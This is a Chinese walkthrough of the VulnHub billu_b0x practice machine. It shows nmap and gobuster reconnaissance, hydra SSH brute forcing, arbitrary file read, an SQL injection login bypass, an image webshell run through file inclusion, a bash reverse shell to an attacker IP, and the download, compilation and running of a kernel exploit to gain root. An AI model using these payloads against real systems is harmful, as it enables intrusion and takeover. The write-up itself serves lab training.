vulnhub靶机billu_b0x精讲

靶机下载

https://www.vulnhub.com/entry/billu-b0x,188/

信息收集

扫描存活主机

nmap -sP 192.168.73.0/24

192.168.73.141为目标主机,对其进行进一步信息收集

端口扫描

nmap --min-rate=10000 -p- 192.168.73.141

目标只开放了22和80端口

针对端口进行TCP探测、服务探测、操作系统探测

nmap -T4 -sV -sT -sC -O -p80,22 192.168.73.141

22端口使用 OpenSSH 5.9p1版本

80开放了http服务,部署在Apache2.2.22上

目录扫描

针对http服务进行目录扫描

gobuster dir -u http://192.168.73.141/ -w /usr/share/wordlists/dirb/big.txt

扫描出可访问路径

/add
/c
/cmd
/head
/images
/images
/index
/in
/panel
/phpmy
/show
/test

漏洞挖掘

22端口渗透

ssh暴力破解

因为只开放了两个端口,攻击面较少,所以要利用任何能利用的点,首先想到爆破ssh密码,开启一个窗口让hydra后台去爆破密码

hydra -l root -P /root/Desktop/passwd-CN-Top10000.txt ssh://192.168.73.141 -V -f

ssh服务漏洞

看到nmap扫描结果中ssh服务使用的应用程序为OpenSSH 5.9p1,通过google搜索相关漏洞利用,发现并没有可以直接利用获取shell的攻击脚本,利用条件都很苛刻。

80端口(Web)渗透

访问通过目录爆破出的几个目录

http://192.168.73.141/index

http://192.168.73.141/add

http://192.168.73.141/c

http://192.168.73.141/cmd

http://192.168.73.141/images/

http://192.168.73.141/in

http://192.168.73.141/show

http://192.168.73.141/test

任意文件读取漏洞利用

通过观察/test目录,页面提示需要传入一个file的值,联想到任意文件读取、文件包含,这里先get去传参一个index.php

传入file值未index.php发现并没有反应,尝试修改请求方式,使用POST的方式发送数据包

POST /test HTTP/1.1
Host: 192.168.73.141
Content-Length: 14
Cache-Control: max-age=0
Origin: http://192.168.73.141
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.73.141/test?file=index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bopi12nfmudsn2c5gf05pm4eo4
Connection: keep-alivefile=index.php

这里读取到了index.php的源码,存在任意文件读取漏洞,分别尝试读取passwd和shadow,看看能不能获得shadow文件爆破hash直接获取到root密码。

passwd文件是可以直接读取到的,shadow文件没有权限读取,继续通过文件读取漏洞读取其他页面的源码进行代码审计。

文件上传漏洞利用

add目录下发现是一个文件上传的页面,利用文件包含审计源码是否做了过滤。

是没有做任何过滤的,尝试上传一个图片文件

响应包中没有返回文件的上传路径,这里猜测文件可能是上传到了/images目录下,但是观察了一下没有任何数据的更新。

SQL注入漏洞利用

通过文件包含漏洞读取到的index.php源码进行代码审计。

index.php包含了c.php,head.php,而index.php又是一个登录页面,很有可能包含的就是数据库配置文件,继续利用文件读取漏洞读取源码

读取到c.php就是数据库配置文件,并且给出了一个数据库账号。

127.0.0.1
billu
b0x_billu

尝试远程登录到mysql

数据库连接失败,因为在前期端口扫描没有扫描到mysql的服务端口,所以判断应该是修改了端口或者禁止远程登录。

尝试用账户凭证登录ssh

ssh billu@192.168.73.141
b0x_billu

登录失败

继续读取head.php的源码

也没有发现有用的信息。

继续分析index.php的源码,在下面发现了登录逻辑,可以尝试进行sql注入

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

登录逻辑代码中使用str_replace函数过滤了单引号,尝试绕过,将连接符"."分离后的sql查询语句

select * from auth where  pass=\'.$pass.\' and uname=\'.$uname.\'

这里的"\"就是转义字符,可以省略掉

select * from auth where  pass='pass' and uname='uname'

构造万能密码

pass传入\
uname传入or 1=1#

构造后的sql语句就变成了

select * from auth where pass='\' and uname='or 1=1#'

查询语句中的' and uname='就被逃逸出去成为了pass的值

pass='\' and uname='
or 1=1永真

成功登陆

这里发现了一个文件上传的页面,和add.php是一样的,再次上传文件

文件上传成功,文件被上传到了/uploaded_images/下

尝试上传一句话,使用%00截断、黑名单绕过、.htaccess利用,都失败了。

文件包含漏洞利用

继续读取登录后的panel.php源码

<?php
session_start();include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{header('Location: index.php', true, 302);exit();}echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{unset($_SESSION['logged']);unset($_SESSION['admin']);header('Location: index.php', true, 302);
}
echo '<hr><br>';echo '<form method=post><select name=load><option value="show">Show Users</option><option value="add">Add User</option>
</select> &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{$dir=getcwd();$choice=str_replace('./','',$_POST['load']);if($choice==='add'){include($dir.'/'.$choice.'.php');die();}if($choice==='show'){include($dir.'/'.$choice.'.php');die();}else{include($dir.'/'.$_POST['load']);}}if(isset($_POST['upload']))
{$name=mysqli_real_escape_string($conn,$_POST['name']);$address=mysqli_real_escape_string($conn,$_POST['address']);$id=mysqli_real_escape_string($conn,$_POST['id']);if(!empty($_FILES['image']['name'])){$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);$image=array('jpeg','jpg','gif','png');if(in_array($r,$image)){$finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image']['tmp_name']);if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )){if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])){echo "Uploaded successfully ";$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; mysqli_query($conn, $update);}}else{echo "<br>i told you dear, only png,jpg and gif file are allowed";}}else{echo "<br>only png,jpg and gif file are allowed";}
}}?>

源码中分析出include函数没有做任何的过滤,存在任意文件包含漏洞,需要POST传参continue和load参数才能触发。

这里continue需要传入continue load需要传入图片马的地址

首先构造一个图片马上传到目标

重新访问panel.php,修改请求方式为POST,包含cmd.jpg,构造payload

POST /panel.php?cmd=whoami HTTP/1.1
Host: 192.168.73.141
Content-Length: 47
Cache-Control: max-age=0
Origin: http://192.168.73.141
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.73.141/panel.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bopi12nfmudsn2c5gf05pm4eo4
Connection: keep-aliveload=/uploaded_images/cmd.jpg&continue=continue

成功执行系统命令

本地nc开启监听

nc -lvnp 8899

反弹shell

echo "bash -i >& /dev/tcp/192.168.73.138/8899 0>&1" | bash
//记得url编码

成功得到初始web权限的shell。

权限提升

用python启动一个shell以获得更好的交互性

python -c "import pty;pty.spawn('/bin/bash')"

信息收集

uname -a

内核提权

使用searchsploit搜索内核提权脚本

searchsploit Ubuntu kernel 3.13.0-32

searchsploit -m 37292

启动一个http服务,将exp放到上面,目标机器去下载

service apache2 start
cp 37292.c /var/www/html/37292.c
wget http://192.168.73.138/37292,c

发现www目录没有创建文件的权限,进入到uploaded_images目录下

cd uploaded_images
wget http://192.168.73.138/37292.c
gcc 37292.c 37292
./37292

成功提权到root权限

SSH密码爆破

刚才都没有注意到hydra已经把ssh密码跑出来了,尝试登陆一下

登录成功,也是获取root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/65679.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

react相关报错--持续更新中

日常项目报错记录 一、开源项目问题集合安装依赖和启动问题1. 启动时候报The react-scripts package provided by Create React App requires a dependency: "babel-loader": "8.1.0"问题解决方法1:解决方法2: 二、reactAnt Design使用遇到的问题1. 使用ta…

vue实现下拉多选、可搜索、全选功能

最后的效果就是树形的下拉多选&#xff0c;可选择任意一级选项&#xff0c;下拉框中有一个按钮可以实现全选&#xff0c;也支持搜索功能。 在mounted生命周期里面获取全部部门的数据&#xff0c;handleTree是讲接口返回的数据整理成树形结构&#xff0c;可以自行解决 <div c…

【SpringMVC】REST 风格

REST&#xff08;Representational State Transfer&#xff0c;表现形式状态转换&#xff09;是一种访问网络资源的格式。传统的资源描述方式通常如下&#xff1a; http://localhost/user/getById?id1http://localhost/user/saveUser 而 REST 风格的描述则更简洁&#xff1a…

Jenkins使用记录

参考资料 https://www.cnblogs.com/hanmk/p/6808932.html https://www.cnblogs.com/gltou/p/15329634.html 1、安装jenkisn、 2、安装jenkisn需要的插件 如 git等、 3、java服务引用 jenkins API三方包 4、Jekins启动&#xff0c;手动在jekins控制面板 创建一个 jenkisn 构建模…

Unity Dots理论学习-1.关于性能

如果你是一个有经验的游戏开发者&#xff0c;那么你知道在目标平台上进行性能优化是贯穿整个开发周期的任务。也许你的游戏在高端PC上运行得很好&#xff0c;但在低端移动平台上&#xff0c;帧率是不是会慢很多&#xff0c;导致明显的卡顿&#xff1f;加载时间是不是过长&#…

数据库概念(MySQL第一期)

p.s.这是萌新自己自学总结的笔记&#xff0c;如果想学习得更透彻的话还是请去看大佬的讲解 目录 数据库就是管理数据的仓库 数据库&#xff1a;DataBase(DB)&#xff0c;是存储数据的仓库&#xff0c;数据是有组织的进行存储 数据库管理系统&#xff1a;DataBase Management S…

【ES6复习笔记】ES6的模块化(18)

模块化的概念 模块化是指将一个复杂的系统分解为多个模块&#xff0c;每个模块完成一个特定的功能&#xff0c;模块之间通过接口进行通信。模块化的目的是提高代码的可读性、可维护性和可重用性。 模块化规范产品&#xff0c; ES6 之前的模块化规范有&#xff1a; CommonJS …

C语言初阶习题【19】三子棋游戏

1.实现三子棋游戏 2.思路 我们把游戏实现部分放在game.c和game.h中&#xff0c;把游戏的测试代码放到test.c中 main函数在test.c中。 2.1 test.c中 先写main 函数&#xff0c;在main函数中调用test函数。 int main() {test();return 0; }test.c函数实现让玩家进行选择是否…

金融租赁系统的创新发展与市场竞争力提升探讨

内容概要 随着经济的快速发展&#xff0c;金融租赁系统逐渐成为金融市场中不可或缺的一环。它不仅提供了灵活的资金解决方案&#xff0c;还促进了企业的资本结构优化与资源配置效率。因此&#xff0c;了解该系统的市场背景与发展现状至关重要。 在现今环境下&#xff0c;新兴…

设计模式与游戏完美开发(2)

更多内容可以浏览本人博客&#xff1a;https://azureblog.cn/ &#x1f60a; 该文章主体内容来自《设计模式与游戏完美开发》—蔡升达 第二篇 基础系统 第四章 游戏主要类——外观模式&#xff08;Facade&#xff09; 一、游戏子功能的整合 一个游戏程序常常由内部数个不同的…

linux自动化批量分发SSH密钥同时批量测试SSH连接教程(包含自动化脚本代码)

1、检查端口 检查分发对象22端口是否打开 nmap -p22 ip地址如果要批量检查端口可以参考我写的这篇文章&#xff1a;linux自动化一键批量检查主机端口 2、命令行分发密钥原理 Linux分发密钥原理主要涉及SSH&#xff08;Secure Shell&#xff09;协议&#xff0c;该协议用于…

OpenHarmony源码编译后烧录镜像教程,RK3566鸿蒙开发板演示

本文介绍瑞芯微主板/开发板编译OpenHarmony源码后烧录镜像的教程&#xff0c;触觉智能Purple Pi OH鸿蒙开发板演示。搭载了瑞芯微RK3566四核处理器&#xff0c;树莓派卡片电脑设计&#xff0c;支持开源鸿蒙OpenHarmony3.2-5.0系统&#xff0c;适合鸿蒙开发入门学习。 编译源码…

【GO基础学习】gin框架路由详解

文章目录 gin框架路由详解&#xff08;1&#xff09;go mod tidy&#xff08;2&#xff09;r : gin.Default()&#xff08;3&#xff09;r.GET()路由注册 &#xff08;4&#xff09;r.Run()路由匹配 总结 gin框架路由详解 先创建一个项目&#xff0c;编写一个简单的demo&#…

vue之axios基本使用

文章目录 1. axios 网络请求库2. axiosvue 1. axios 网络请求库 <body> <input type"button" value"get请求" class"get"> <input type"button" value"post请求" class"post"> <!-- 官网提供…

使用 Spring Boot 实现文件上传:从配置文件中动态读取上传路径

使用 Spring Boot 实现文件上传&#xff1a;从配置文件中动态读取上传路径 一、前言二、文件上传的基本概念三、环境准备1. 引入依赖2. 配置文件设置application.yml 配置示例&#xff1a;application.properties 配置示例&#xff1a; 四、编写文件上传功能代码1. 控制器类2. …

AI 神经网络在智能家居场景中的应用

在科技持续进步的当下&#xff0c;智能家居领域正经历着深刻变革&#xff0c;AI 神经网络技术的融入成为推动这一变革的关键力量&#xff0c;为家居生活带来了诸多显著变化与提升&#xff0c;本文将几种常见的AI算法应用做了一下总结&#xff0c;希望对物联网从业者有所帮助。 …

ubuntu快速入门

1.进入某个文件夹 cd workspace/2.tab自动补全 3.列出当前文件夹所有文件 ls列出所有文件包括隐藏文件 ls -a 4.创建文件夹 mkdir linuxLearn 5.创建文件 gedit command.sh在commmand.sh键入 echo hello echo hi? echo how are you? PS:touch hello.txt(也可以创建新…

Day56 图论part06

108.冗余连接 并查集应用类题目,关键是如何把题意转化成并查集问题 代码随想录 import java.util.Scanner;public class Main{public static void main (String[] args) {Scanner scanner = new Scanner(System.in);int n = scanner.nextInt();DisJoint disjoint = new DisJo…

优化 invite_codes 表的 SQL 创建语句

-- auto-generated definition create table invite_codes (id int auto_incrementprimary key,invite_code varchar(6) not null comment 邀请码&#xff0c;6位整数&#xff0c;确保在有效期内…

FATE-LLM简介;FATE-LLM集成了多种参数高效微调方法

FATE-LLM简介 FATE-LLM是一个支持联邦大语言模型训练的框架,其架构及核心技术原理如下: 架构概述 FATE-LLM主要由模型层、参数高效微调层、隐私保护与安全机制、通信与聚合模块等组成,致力于在保护数据隐私的前提下,利用联邦学习技术整合各方数据与算力资源,提升大语言模…